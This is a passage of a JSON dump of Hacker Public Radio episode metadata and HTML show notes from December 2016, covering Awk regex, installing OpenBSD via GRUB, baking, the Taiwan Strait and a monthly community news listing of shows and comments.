                                                              \n
                                                            • hpr2169\n(2016-11-24) \"How I connect to the awesome #oggcastplanet on mobile\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2016-11-06:\n\"More discussion and XMPP\"

                                                              \n
                                                            • hpr2170\n(2016-11-25) \"soundtrap.io\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2016-11-25:\n\"Sound trap IO, a different application?\"
                                                              • Comment 2:\nMr. Young on 2016-11-30:\n\"Very Interesting\"

                                                              \n
                                                            • hpr2171\n(2016-11-28) \"hello world\"\nby spaceman.
                                                            • \n
                                                            • \n
                                                              \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2177,"date":"2016-12-06","title":"Knowledge Interconnection, the thai express hack","duration":424,"summary":"learn things that empowers you and interconnects with other of your knowledge","notes":"

                                                            you can practice programming AFK, and hacking at the same time; doing problem solving on other things can be quite fun; and can seriously enhance your life;

                                                            \n

                                                            happy hacking;

                                                            \n","hostid":344,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"vegan food, recycling, hacking","version":0,"downloads":0,"valid":1}, {"id":2178,"date":"2016-12-07","title":"Dice Mixer","duration":1583,"summary":"Klaatu reviews the Dice Mixer dice tower","notes":"

                                                            Klaatu reviews the Dice Mixer.

                                                            \n\n

                                                            Spoiler: it's really amazing and a heck of a lot of fun to put together.

                                                            \n\n\"Assembling\n\n\"Dice\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop,card,boardgame,random,number","version":0,"downloads":0,"valid":1}, {"id":2179,"date":"2016-12-08","title":"Mail to myself@myfirstemployment, Part 1","duration":844,"summary":"I expand on a list of one-liner advice to myself 20 years ago, that I posted on pump.io.","notes":"

                                                            Follow along with the bullet points here: Mail to myself@myfirstemployment

                                                            \n

                                                            The original was a comment in Swedish to a question on an evil, centralized, proprietary social network: Kodapor -- Vilket arbetssätt-relaterat tips skulle du ge dig själv ....

                                                            \n

                                                            Maybe this should be part of a series \"Advice to a Young Hacker\"?

                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"advice,work,post","version":0,"downloads":0,"valid":1}, {"id":2180,"date":"2016-12-09","title":"Mail to myself@myfirstemployment, Part 2 of 2","duration":501,"summary":"I expand on a list of one-liner advice to myself 20 years ago, that I posted on pump.io. Part 2 of 2","notes":"

                                                            Continuation of yesterday's hpr2179 :: Mail to myself@myfirstemployment, Part 1.

                                                            \n

                                                            Follow along with the bullet points here: Mail to myself@myfirstemployment

                                                            \n

                                                            The original was a comment in Swedish to a question on an evil, centralized, proprietary social network: Kodapor -- Vilket arbetssätt-relaterat tips skulle du ge dig själv ....

                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"advice,programming,job","version":0,"downloads":0,"valid":1}, {"id":2181,"date":"2016-12-12","title":"Install OpenBSD from Linux using Grub","duration":501,"summary":"Install OpenBSD from Linux using Grub","notes":"

                                                            Install OpenBSD from Linux using Grub

                                                            \n

                                                            Why OpenBSD

                                                            \n

                                                            Tune in for another episode.

                                                            \n

                                                            Why install from linux

                                                            \n
                                                              \n
                                                            • Most VPS providers have images for linux, but not OpenBSD
                                                            • \n
                                                            • Easier than trying to upload custom image or iso.
                                                            • \n
                                                            \n

                                                            Grub2

                                                            \n
                                                              \n
                                                            • Start with a distro that uses grub2. I use Centos7
                                                            • \n
                                                            • grub2 can load OpenBSD kernels.
                                                            • \n
                                                            • The openbsd installer is a OpenBSD kernel.
                                                            • \n
                                                            \n

                                                            Procedure

                                                            \n
                                                              \n
                                                            1. Make sure you have console access to the linux VM
                                                            2. \n
                                                            3. Record the Network info for the running linux VM. If not using DHCP, you will need to know the IP, netmask, default route (gateway), and a DNS server.
                                                            4. \n
                                                            5. Download the OpenBSD installation ram disk to /boot

                                                              \n
                                                              cd /boot\nwget https://ftp5.usa.openbsd.org/pub/OpenBSD/6.0/amd64/bsd.rd
                                                            6. \n
                                                            7. Reboot
                                                            8. \n
                                                            9. Enter the grub command prompt by pressing c at the grub menu
                                                            10. \n
                                                            11. The grub2 prompt has tab completion which can be helpful.
                                                            12. \n
                                                            13. Type ls to see the available disks
                                                            14. \n
                                                            15. Load the OpenBSD installation ram disk and boot

                                                              \n
                                                              grub> set root=(hd0,msdos1)\ngrub> kopenbsd /bsd.rd\ngrub> boot
                                                            16. \n
                                                            \n

                                                            The Installation

                                                            \n
                                                              \n
                                                            • The Installer will ask you several questions
                                                            • \n
                                                            • The default is almost always what you want. If unsure, just press enter.
                                                            • \n
                                                            • Look at the FAQ if you get stuck
                                                            • \n
                                                            • Enter the network settings of the linux VPS
                                                            • \n
                                                            • When asked "Location of sets", use HTTP
                                                            • \n
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OpenBSD,grub2,install","version":0,"downloads":0,"valid":1}, {"id":2182,"date":"2016-12-13","title":"why say GNU/Linux ?","duration":460,"summary":"Dedicated to all the people that says Linux instead of GNU/Linux","notes":"

                                                            Stop saying Linux or open source or FOSS or FLOSS !!1!

                                                            ","hostid":344,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"GNU/Linux,Linux,open source,FOSS,FLOSS","version":0,"downloads":0,"valid":1}, {"id":2183,"date":"2016-12-14","title":"Data Privacy: Farlands or bust","duration":895,"summary":"Conversation in response to comments about my last Episode called \"Google It\"","notes":"

                                                            Thanks to everyone for the emails and the opinion on the \"Google It\" episode.

                                                            \n

                                                            I received a lot of emails and comments on my first episode. No one stated they disagreed with me on the opinion I was expressing but changed the conversation to be about their own privacy issues they have with Google's practices.

                                                            \n

                                                            I wasn't dismissing those who feel Google overreaches in the privacy department. I was stating the fact that they are a very successful company DESPITE a lot of Tech writers and podcasters out here stating they aren't. You can argue the privacy points all you want but the fact is all I was stating was they are successful.

                                                            \n

                                                            So with that said I weigh in on Privacy and how I see it. Disagree? let me know!

                                                            \n

                                                            People I mentioned in the podcast:

                                                            \n\n","hostid":346,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Google","version":0,"downloads":0,"valid":1}, {"id":2184,"date":"2016-12-15","title":"Gnu Awk - Part 5","duration":2394,"summary":"In this episode, I describe how to use regular expressions with Awk.","notes":"

                                                            GNU AWK - Part 5

                                                            \n

                                                            Regular Expressions in AWK

                                                            \n

                                                            The syntax for using regular expressions to match lines in AWK is as follows:

                                                            \n
                                                            word ~ /match/
                                                            \n

                                                            Or for not matching, use the following:

                                                            \n
                                                            word !~ /match/
                                                            \n

                                                            Remember the following file from the previous episodes:

                                                            \n
                                                            name       color  amount\napple      red    4\nbanana     yellow 6\nstrawberry red    3\ngrape      purple 10\napple      green  8\nplum       purple 2\nkiwi       brown  4\npotato     brown  9\npineapple  yellow 5
                                                            \n

                                                            We can run the following command:

                                                            \n
                                                            $1 ~ /p[elu]/ {print $0}
                                                            \n

                                                            We will get the following output:

                                                            \n
                                                            apple      red    4\ngrape      purple 10\napple      green  8\nplum       purple 2\npineapple  yellow 5
                                                            \n

                                                            In another example:

                                                            \n
                                                            $2 ~ /e{2}/ {print $0}
                                                            \n

                                                            Will produce the output:

                                                            \n
                                                            apple      green  8
                                                            \n

                                                            Regular expression basics

                                                            \n

                                                            Certain characters have special meaning when using regular expressions.

                                                            \n

                                                            Anchors

                                                            \n
                                                              \n
                                                            • ^ - beginning of the line
                                                            • \n
                                                            • $ - end of the line
                                                            • \n
                                                            • \\A - beginning of a string
                                                            • \n
                                                            • \\z - end of a string
                                                            • \n
                                                            • \\b on a word boundary
                                                            • \n
                                                            \n

                                                            Characters

                                                            \n
                                                              \n
                                                            • [ad] - a or d
                                                            • \n
                                                            • [a-d] - any character a through d
                                                            • \n
                                                            • [^a-d] - not any character a through d
                                                            • \n
                                                            • \\w - any word
                                                            • \n
                                                            • \\s - any white-space character
                                                            • \n
                                                            • \\d - any digit
                                                            • \n
                                                            \n

                                                            The capital version of w, s, and d are negations.

                                                            \n

                                                            Or, you can reference characters the POSIX standard way:

                                                            \n
                                                              \n
                                                            • [:alnum:] - Alphanumeric characters
                                                            • \n
                                                            • [:alpha:] - Alphabetic characters
                                                            • \n
                                                            • [:blank:] - Space and TAB characters
                                                            • \n
                                                            • [:cntrl:] - Control characters
                                                            • \n
                                                            • [:digit:] - Numeric characters
                                                            • \n
                                                            • [:graph:] - Characters that are both printable and visible (a space is printable but not visible, whereas an ‘a’ is both)
                                                            • \n
                                                            • [:lower:] - Lowercase alphabetic characters
                                                            • \n
                                                            • [:print:] - Printable characters (characters that are not control characters)
                                                            • \n
                                                            • [:punct:] - Punctuation characters (characters that are not letters, digits, control characters, or space characters)
                                                            • \n
                                                            • [:space:] - Space characters (such as space, TAB, and formfeed, to name a few)
                                                            • \n
                                                            • [:upper:] - Uppercase alphabetic characters
                                                            • \n
                                                            • [:xdigit:] - Characters that are hexadecimal digits
                                                            • \n
                                                            \n

                                                            Quantifiers

                                                            \n
                                                              \n
                                                            • . - match any character
                                                            • \n
                                                            • + - match preceding one or more times
                                                            • \n
                                                            • * - match preceding zero or more times
                                                            • \n
                                                            • ? - match preceding zero or one time
                                                            • \n
                                                            • {n} - match preceding exactly n times
                                                            • \n
                                                            • {n,} - match preceding n or more times
                                                            • \n
                                                            • {n,m} - match preceding between n and m times
                                                            • \n
                                                            \n

                                                            Grouped Matches

                                                            \n
                                                              \n
                                                            • (...) - Parentheses are used for grouping
                                                            • \n
                                                            • | - Means or in the context of a grouped match
                                                            • \n
                                                            \n

                                                            Replacement

                                                            \n
                                                              \n
                                                            • The sub command substitutes the match with the replacement string. This only applies to the first match.
                                                            • \n
                                                            • The gsub command substitutes all matching items.
                                                            • \n
                                                            • The gensub command command substitutes the in a similar way as sub and gsub, but with extra functionality
                                                            • \n
                                                            • The & character in the replacement field references the matched text. You have to use \\& to replace the match with the literal & character.
                                                            • \n
                                                            \n

                                                            Example:

                                                            \n
                                                            { sub(/apple/, "nut", $1);\n    print $1}
                                                            \n

                                                            The output is:

                                                            \n
                                                            name\nnut\nbanana\nstrawberry\ngrape\nnut\nplum\nkiwi\npotato\npinenut
                                                            \n

                                                            Another example:

                                                            \n
                                                            { sub(/.+(pp|rr)/, "test-&", $1);\n    print $1}
                                                            \n

                                                            This produces the following output:

                                                            \n
                                                            name\ntest-apple\nbanana\ntest-strawberry\ngrape\ntest-apple\nplum\nkiwi\npotato\ntest-pineapple
                                                            \n

                                                            Resources

                                                            \n\n","hostid":300,"series":94,"explicit":0,"license":"CC-BY-SA","tags":"awk, bash, command-line, cli","version":0,"downloads":0,"valid":1}, {"id":2185,"date":"2016-12-16","title":"Soldering a Soldering Fan","duration":309,"summary":"Practising soldering skills by hacking together a soldering extraction fan.","notes":"

                                                            \nIn the episodes hpr1037 :: Soldering Part 1 and hpr1047 :: Soldering Part 2: An audio demonstration of soldering, MrX inspired me to get into soldering. It's easy and if audio isn't your thing there is always the SOLDERING IS EASY complete comic book.\n

                                                            \n

                                                            \nFor my first project, I soldered a 12v power supply I got for €0 at the recycle shop, to a 12V fan from my old computer tower.\n

                                                            \n\"a\n

                                                            \nThe result a ugly solder joint, but a working project.\n

                                                            \n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"soldering","version":0,"downloads":0,"valid":1}, {"id":2186,"date":"2016-12-19","title":"Baking Yule Bread","duration":1075,"summary":"'Tis the season and Inscius is baking Yule bread, Swedish style.","notes":"\n

                                                            Dough after rising one hour:

                                                            \n

                                                            \"Bread

                                                            \n

                                                            Loaves after rising:

                                                            \n

                                                            \"Three

                                                            \n

                                                            Finished bread (photo from another occasion):

                                                            \n

                                                            \"Loaves

                                                            \n

                                                            Recording device: Zoom H2n

                                                            \n","hostid":283,"series":93,"explicit":1,"license":"CC-BY-SA","tags":"Christmas,cooking","version":0,"downloads":0,"valid":1}, {"id":2187,"date":"2016-12-20","title":"The Toshiba Libretto 100ct","duration":1707,"summary":"In this episode I discuss some of the quirks of setting up Toshiba Libretto for retro gaming.","notes":"

                                                            In this episode, I discuss some of the quirks I encountered when setting up my recently acquired Toshiba Libretto 100ct for retro gaming. I cover the hardware specs, a few tips on getting it running while dealing with Win98 woes.

                                                            \n

                                                            Links

                                                            \n\n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Retro gaming, vintage hardware, Toshiba Libretto","version":0,"downloads":0,"valid":1}, {"id":2188,"date":"2016-12-21","title":"Art Appreciation","duration":315,"summary":"Some thoughts on art appreciation","notes":"

                                                            \nA nod to Brian in Ohio...\n

                                                            \n

                                                            \nElements Of Design...\n

                                                            \n

                                                            \nA mention of Dr. Don Bendel...\n

                                                            \n

                                                            \nA note on artist statements...\n

                                                            \n

                                                            \nMy cup example is very much stimulated by Pete Pinnell...\n

                                                            \n

                                                            \nCheck out his short talk on cups.\n

                                                            \n

                                                            \nhttps://www.youtube.com/watch?v=WChFMMzLHVs\n

                                                            \n

                                                            \n(though I wish It were elsewhere besides youtube)\n

                                                            ","hostid":329,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"art","version":0,"downloads":0,"valid":1}, {"id":2189,"date":"2016-12-22","title":"Working Amateur Radio Satellites","duration":1925,"summary":"A brief overview of how to work your first satellite.","notes":"\n

                                                            Resources:

                                                            \n\n","hostid":241,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hamradio, ham, radio, amateur, satellites, projects","version":0,"downloads":0,"valid":1}, {"id":2190,"date":"2016-12-23","title":"fucking botnets how do they work?","duration":233,"summary":"how using botnets for legetimate purposes can be useful","notes":"

                                                            \nyou can download the files, which includes the video tutorial on my hidden website: https://qzc3ou3vccr3yjyg.onion/software/gs-bot.tar.gz | you need the tor browser to do so\n

                                                            \n

                                                            \notherwise the video can be found on mediagoblin (minetest quality tho):\nhttps://roaming-initiative.com/mediagoblin/u/spaceman1/m/how-to-make-a-gnu-social-bot/\n

                                                            \n\t","hostid":344,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"GNU Social,bot","version":0,"downloads":0,"valid":1}, {"id":2191,"date":"2016-12-26","title":"Building a Soundboard Android App with App Inventor","duration":603,"summary":"droops walks us through how to build Android Apps with App Inventor a block based language.","notes":"

                                                            \nBuilding quick Android Apps is simple with App Inventor. Droops walks through how to build a simple soundboard to play fun fart noises. This is a great project that he has done with his kids to bring computer science and computational thinking to the young ones.\n

                                                            \n

                                                            \n\"gui\n

                                                            \n","hostid":1,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"android, app inventor, mit","version":0,"downloads":0,"valid":1}, {"id":2192,"date":"2016-12-27","title":"Fun with Oscilloscopes","duration":572,"summary":"Taking a look at oscilloscope music.","notes":"

                                                            For an example of the effect, here is an example -

                                                            \n\n
                                                            \n

                                                            Here are some other interesting ideas for oscilloscopes -

                                                            \n\n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Oscilloscope,music","version":0,"downloads":0,"valid":1}, {"id":2193,"date":"2016-12-28","title":"a clean podcast with no swearing","duration":1074,"summary":"discussing the swearing drama ","notes":"

                                                            \n(replace-regex-in-string \"fuck\" \"rainbows\")\n

                                                            \n","hostid":344,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"freespeech","version":0,"downloads":0,"valid":1}, {"id":2194,"date":"2016-12-29","title":"The low-down on what's up in the Taiwan Strait.","duration":1928,"summary":"In which I respond to \"I don't get this whole Taiwan/US/China thing\"","notes":"

                                                            Wow, my aim was really to be strict about the terminology and always talk about Beijing/PRC or Taipei/ROC, but I noticed that I was saying \"China\" and \"Taiwan\" a lot of the time. Lucky I'm not trying to be the President, eh?

                                                            \n

                                                            I'm sorry it's so long, but on the other hand I think I speak pretty slow, so it's probably pretty amenable to sped-up listening. :-)

                                                            \n

                                                            Or, you can skip ~27 minutes in to go straight to my overview of the current situation, without the \"short\" background.

                                                            \n

                                                            Also, pardon my pronunciation of Chinese names, which is an unpredictable mix of Cantonese, Cantonese-accented Mandarin, Mandarin and English.

                                                            \n

                                                            Background:

                                                            \n
                                                            \n\"World\n
                                                            (Image license: public domain)\n
                                                            \n\n\n

                                                            Here's the text from IRC:

                                                            \n

                                                            China doesn't want Taiwan to be independent because that would be a loss of prestige to China.

                                                            \n

                                                            There are no technical details about it, it's all about symbolism.

                                                            \n

                                                            The China thing is a really interesting thing to unpack. First of all, if you ask the traditional ruling party on Taiwan, the KMT or GMD (Guo Min Dang), there is no country called Taiwan. The KMT and the CCP (Chinese Communist Party) agree that there is only one China and Taiwan is simply a province of that China. Where they disagree is whether the true government of the whole is in Beijing or in Taipei. (fun fact: the official capital of the Republic of China (Taiwan) is Nanjing, which is not under ROC control)

                                                            \n

                                                            Also, some de-facto parts of India and all of Mongolia is officially part of the ROC, according to their Constitution.

                                                            \n
                                                            \n\"Map\n
                                                            (Image license: CC-by-SA, Wikipedia user ZanderSchubert)\n
                                                            \n\n

                                                            If you fly from Beijing, there are domestic flights and \"international flights and domestic flights to Hong Kong, Macau and Taiwan\".

                                                            \n

                                                            So the US and UN stance since 1972 is \"there is one China, and its government is in Beijing\". But at the same time US is giving military support to Taipei, which according to Beijing is an unruly province.

                                                            \n

                                                            As long as the status quo holds – that Taipei claims to rule all of China and Beijing claims to rule all of China and no outsider that matters challenges that – China (both of them!) is happy. It works, there are extended business relations between the two jurisdictions (most of the electronics made in China are made in factories owned by Taiwanese companies)

                                                            \n

                                                            Both the CCP and the KMT hope that in the long term, this can gradually creep toward a unification of China. If Taiwan would declare independence, that would mean war.

                                                            \n

                                                            Now, the current ruling party, the DPP (Democratic Progressive Party) officially support driving toward a Taiwanese rather than a Chinese national identity, and at some point independence. They are being very careful about it though, because they are also aware of how Beijing would react if they went out and did it. Also, while they do control the majority of the Legislative Yuan, there is a significant minority in Taiwan that adhere to a Chinese identity, don't want to upset China, and don't want formal independence. The current quirky situation works, and barriers have been coming down over the years. Relations are abnormal yet normal. On the rhetorical level it's all messed up, in practice you can fly between the island and the mainland, you can conduct business and send post, etc.

                                                            \n

                                                            When ROC (Republic of China, \"Taiwan\") and PRC (People's Republic of China, \"Mainland China\") representatives meet, there are no embassies or consulates involved, because neither acknowledges the other as a country. Neither President will call the other \"President\", because that would imply they represent a country, rather than a rebel faction inside what the other side considers China.

                                                            \n

                                                            So when Trump goes on Twitter and says \"The President of Taiwan CALLED ME today to wish me congratulations on winning the Presidency. Thank you!\" that's a huge scandal in the eyes of Beijing. There is no President of Taiwan, and to imply so is to imply that Taiwan is a country and should be independent.

                                                            \n

                                                            That's as short as I can make it, but that's the low-down on what's up in the Taiwan Strait.

                                                            \n

                                                            Further reference (all Wikipedia):

                                                            \n\n

                                                            Tangential background (all except one from Wikipedia):

                                                            \n\n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"china, taiwan, roc, prc, politics, trump, history","version":0,"downloads":0,"valid":1}, {"id":2195,"date":"2016-12-30","title":"All you need to know when uploading a show","duration":1696,"summary":"We read aloud various information pages on the HPR website","notes":"

                                                            \nIt has become clear that not everyone is aware of what the HPR community is, how it's run, and what the policies are. While these policies are valid at the time of recording, they may have been modified by the time you hear this.\n

                                                            \n

                                                            \nAs everyone was sick, I had to get a text to speech engine to read it out. See https://text-to-speech-demo.mybluemix.net/ for more information.\n

                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR","version":0,"downloads":0,"valid":1}, {"id":2196,"date":"2017-01-02","title":"HPR Community News for December 2016","duration":5343,"summary":"HPR Volunteers talk about shows released and comments posted in December 2016","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2174Thu2016-12-01Dungeoneer Tabletop Gameklaatu
                                                            2175Fri2016-12-02Kdenlive Part 4 Colour CorrectionGeddes
                                                            2176Mon2016-12-05HPR Community News for November 2016HPR Volunteers
                                                            2177Tue2016-12-06Knowledge Interconnection, the thai express hackspaceman
                                                            2178Wed2016-12-07Dice Mixerklaatu
                                                            2179Thu2016-12-08Mail to myself@myfirstemployment, Part 1clacke
                                                            2180Fri2016-12-09Mail to myself@myfirstemployment, Part 2 of 2clacke
                                                            2181Mon2016-12-12Install OpenBSD from Linux using Grubnorrist
                                                            2182Tue2016-12-13why say GNU/Linux ?spaceman
                                                            2183Wed2016-12-14Data Privacy: Farlands or bustBill "NFMZ1" Miller
                                                            2184Thu2016-12-15Gnu Awk - Part 5Mr. Young
                                                            2185Fri2016-12-16Soldering a Soldering FanKen Fallon
                                                            2186Mon2016-12-19Baking Yule BreadInscius
                                                            2187Tue2016-12-20The Toshiba Libretto 100ctm1rr0r5h4d35
                                                            2188Wed2016-12-21Art Appreciationbrian
                                                            2189Thu2016-12-22Working Amateur Radio SatellitesChristopher M. Hobbs
                                                            2190Fri2016-12-23fucking botnets how do they work?spaceman
                                                            2191Mon2016-12-26Building a Soundboard Android App with App Inventordroops
                                                            2192Tue2016-12-27Fun with Oscilloscopesm1rr0r5h4d35
                                                            2193Wed2016-12-28a clean podcast with no swearingspaceman
                                                            2194Thu2016-12-29The low-down on what's up in the Taiwan Strait.clacke
                                                            2195Fri2016-12-30All you need to know when uploading a showKen Fallon
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-December/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 68 comments in total.

                                                            \n

                                                            There are 16 comments on\n9 previous shows:

                                                            \n
                                                            • hpr1998\n(2016-03-30) \"Homebrewing\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nm1rr0r5h4d35 on 2016-12-27:\"[no title]\"

                                                              \n
                                                            • hpr2121\n(2016-09-19) \"Dark Cults Tabletop Game\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nm1rr0r5h4d35 on 2016-12-04:\n\"Loved This\"

                                                              \n
                                                            • hpr2134\n(2016-10-06) \"Shutdown Sequence Systemd\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCPrompt^ on 2016-12-18:\n\"Great explanation!\"

                                                              \n
                                                            • hpr2139\n(2016-10-13) \"From Org Mode to LaTeX Beamer to PDF\"\nby Clinton Roy.
                                                            • \n
                                                            • \n
                                                              • Comment 2:\nMichael on 2016-12-20:\n\""Beamer" vs. Projektor\"

                                                              \n
                                                            • hpr2145\n(2016-10-21) \"Daily notes and todo list with markdown\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 5:\nnorrist on 2016-12-01:\n\""2*/md"\"
                                                              • Comment 6:\nMatt on 2016-12-03:\n\"of course!\"

                                                              \n
                                                            • hpr2161\n(2016-11-14) \"What's in my freezer?\"\nby Inscius.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nInscius on 2016-12-06:\n\"Thanks\"

                                                              \n
                                                            • hpr2165\n(2016-11-18) \"Get the most out of your commute with these great audio suggestions.\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnjulian on 2016-12-29:\"[no title]\"

                                                              \n
                                                            • hpr2172\n(2016-11-29) \"Dutch Blitz Table Top Game\"\nby Steve Saner.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2016-12-05:\n\"Great show\"
                                                              • Comment 2:\nSteve on 2016-12-06:\"[no title]\"

                                                              \n
                                                            • hpr2173\n(2016-11-30) \"Driving a Blinkt! as an IoT device\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJonathan Kulp on 2016-12-01:\n\"You light up your life\"
                                                              • Comment 2:\nDave Morriss on 2016-12-01:\n\"It worked!!\"
                                                              • Comment 3:\nMike Ray on 2016-12-03:\n\"Twinkly Lights and MQTT\"
                                                              • Comment 4:\nDave Morriss on 2016-12-03:\n\"Re: Twinkly Lights and MQTT\"
                                                              • Comment 5:\nMike Ray on 2016-12-03:\n\"MQTT and hardware monitoring\"
                                                              • Comment 6:\nDave Morriss on 2016-12-04:\n\"MQTT uses\"

                                                              \n
                                                            \n

                                                            There are 52 comments on 14 of this month's shows:

                                                            \n
                                                            • hpr2176\n(2016-12-05) \"HPR Community News for November 2016\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2016-12-05:\n\"Dioder\"
                                                              • Comment 2:\nclacke on 2016-12-05:\n\"On the purpose of those XEPs\"
                                                              • Comment 3:\nclacke on 2016-12-05:\n\"Arousing regular expressions\"
                                                              • Comment 4:\nSteve on 2016-12-06:\n\"Ham Radio Topics\"

                                                              \n
                                                            • hpr2177\n(2016-12-06) \"Knowledge Interconnection, the thai express hack\"\nby spaceman.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2016-12-05:\"[no title]\"
                                                              • Comment 2:\nShortFatBaldGuy on 2016-12-06:\"[no title]\"
                                                              • Comment 3:\nKen Fallon on 2016-12-06:\n\"This show is correctly flagged as Explicit\"
                                                              • Comment 4:\nShortFatBaldGuy on 2016-12-06:\"[no title]\"
                                                              • Comment 5:\nKen Fallon on 2016-12-06:\n\"Tags are not visable\"
                                                              • Comment 6:\nKen Fallon on 2016-12-06:\n\"Complaints are welcome\"
                                                              • Comment 7:\nKen Fallon on 2016-12-07:\n\"Site and Feeds updated\"
                                                              • Comment 8:\nCheeto4493 on 2016-12-08:\n\"Add explicit to title?\"
                                                              • Comment 9:\nKen Fallon Janitor on 2016-12-08:\n\"Technically yes\"
                                                              • Comment 10:\nKen Fallon Host 30 on 2016-12-08:\n\"I object \"

                                                              \n
                                                            • hpr2179\n(2016-12-08) \"Mail to myself@myfirstemployment, Part 1\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2016-12-13:\"[no title]\"
                                                              • Comment 2:\nclacke on 2016-12-15:\n\"Re: protos in production\"

                                                              \n
                                                            • hpr2181\n(2016-12-12) \"Install OpenBSD from Linux using Grub\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nsigflup on 2016-11-19:\n\"openbsd!!\"

                                                              \n
                                                            • hpr2182\n(2016-12-13) \"why say GNU/Linux ?\"\nby spaceman.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmackrackit on 2016-12-12:\n\"Family Friendly \"
                                                              • Comment 2:\nClinton Roy on 2016-12-12:\"[no title]\"
                                                              • Comment 3:\n0xf10e on 2016-12-12:\n\"Three minutes of obscenities necessary?\"
                                                              • Comment 4:\nKen Fallon on 2016-12-13:\n\"HPR is not family frendly but ....\"
                                                              • Comment 5:\nKen Fallon on 2016-12-13:\n\"He will reply later\"
                                                              • Comment 6:\npd on 2016-12-13:\n\"Waste of Time\"
                                                              • Comment 7:\ngmail blocking on 2016-12-13:\"[no title]\"
                                                              • Comment 8:\nspaceman on 2016-12-13:\n\"reply from spaceman\"
                                                              • Comment 9:\ndavidWHITMAN on 2016-12-14:\n\"Spaceman!\"
                                                              • Comment 10:\nFrank on 2016-12-14:\n\"Just Rude for the Sake of Rude\"
                                                              • Comment 11:\nDavid L. Willson on 2016-12-14:\n\"hilarious\"
                                                              • Comment 12:\nKen Fallon on 2016-12-14:\n\"Reposting from fragdev\"
                                                              • Comment 13:\nspaceman on 2016-12-16:\n\"RE: Just Rude for the Sake of Rude\"
                                                              • Comment 14:\nKen Fallon on 2016-12-17:\n\"HPR About page\"
                                                              • Comment 15:\nspaceman on 2016-12-18:\n\"re:re:\"

                                                              \n
                                                            • hpr2183\n(2016-12-14) \"Data Privacy: Farlands or bust\"\nby Bill \"NFMZ1\" Miller.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2016-12-15:\n\"I have to disagree\"

                                                              \n
                                                            • hpr2184\n(2016-12-15) \"Gnu Awk - Part 5\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2016-12-14:\"[no title]\"
                                                              • Comment 2:\nMr. Young on 2016-12-15:\n\":re Lots of useful info\"

                                                              \n
                                                            • hpr2187\n(2016-12-20) \"The Toshiba Libretto 100ct\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSteve on 2016-12-21:\n\"Windows 98 Updates\"
                                                              • Comment 2:\nm1rr0r5h4d35 on 2016-12-27:\"[no title]\"
                                                              • Comment 3:\nSteve on 2016-12-28:\"[no title]\"

                                                              \n
                                                            • hpr2189\n(2016-12-22) \"Working Amateur Radio Satellites\"\nby Christopher M. Hobbs.
